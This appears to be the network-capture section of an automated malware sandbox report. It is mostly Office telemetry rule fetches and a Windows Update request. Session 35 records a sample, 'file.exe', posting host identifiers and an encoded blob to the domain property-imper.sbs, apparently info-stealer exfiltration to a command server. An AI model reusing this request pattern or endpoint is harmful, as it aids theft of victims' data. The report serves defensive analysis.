2024-11-24 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074351Z-174c587ffdfldtt2hC1TEBwv9c0000000420000000001kuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.10	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074351Z-174c587ffdf6b487hC1TEBydsn00000004400000000047vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:51 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.10	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074351Z-15b8b599d8885prmhC1TEBsnkw000000046g00000000cbtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.10	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:51 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 62a4a1a4-401e-00ac-0c3d-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074351Z-174c587ffdfp4vpjhC1TEBybqw000000042000000000f72t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:43:51 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.10	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 3eb19cd4-801e-00ac-194b-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074353Z-15b8b599d88z9sc7hC1TEBkr4w00000004c0000000000cee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:53 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.10	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074353Z-15b8b599d886w4hzhC1TEBb4ug000000045000000000aav7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:53 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.10	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074353Z-178bfbc474brk967hC1NYCfu6000000005gg0000000047r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:53 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49748	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7IGH30OQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20382 Host: property-imper.sbs
2024-11-24 07:43:53 UTC	15331	OUT	Data Raw: 2d 2d 37 49 47 48 33 30 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 49 47 48 33 30 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 49 47 48 33 30 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 49 47 48 33 30 4f 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --7IGH30OQContent-Disposition: form-data; name="hwid"9790454DE18B0E55D7CBBD6DF28D3732--7IGH30OQContent-Disposition: form-data; name="pid"3--7IGH30OQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7IGH30OQContent-Di
2024-11-24 07:43:53 UTC	5051	OUT	Data Raw: 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 5c 5f f0 2b b1 64 f0 7c 3c 78 3e f8 37 c1 Data Ascii: lpQ0/74G6(~`~O\_+d\|<x>7
2024-11-24 07:43:54 UTC	1027	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3djbue5lkqve4st275gm5h669t; expires=Thu, 20-Mar-2025 01:30:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yqhcRI8Y6uxs2k2QQ31%2BWXujFZb4gM44P%2BbxKs8QrrAvJCP%2BBIHZaB4gUkbEWY3jub0WpHiFgIpTbuQqrAO%2BODr75kAzmIl%2F8RQOXQhPy2zYT%2BnmG%2Fr3BRoZ4F%2B9CsEp8g19OGA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c54879fa42e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21336&delivery_rate=1687861&cwnd=237&unsent_bytes=0&cid=7a97888ce94b9afb&ts=888&x=0"
2024-11-24 07:43:54 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:43:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.10	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074353Z-174c587ffdfn4nhwhC1TEB2nbc000000044g00000000ezm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:53 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.10	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:53 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074353Z-174c587ffdfl22mzhC1TEBk40c00000004a0000000006qm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49742	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:54 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZuLVKpZ2SH8G6f3&MD=MS8COkYs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 07:43:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d94f20cd-02f1-4006-92d0-20602b3929f3 MS-RequestId: 6d53e724-8266-42c6-aff6-84481f807ed4 MS-CV: cZTuS7lpDUu2K5fg.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 07:43:54 GMT Connection: close Content-Length: 24490
2024-11-24 07:43:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
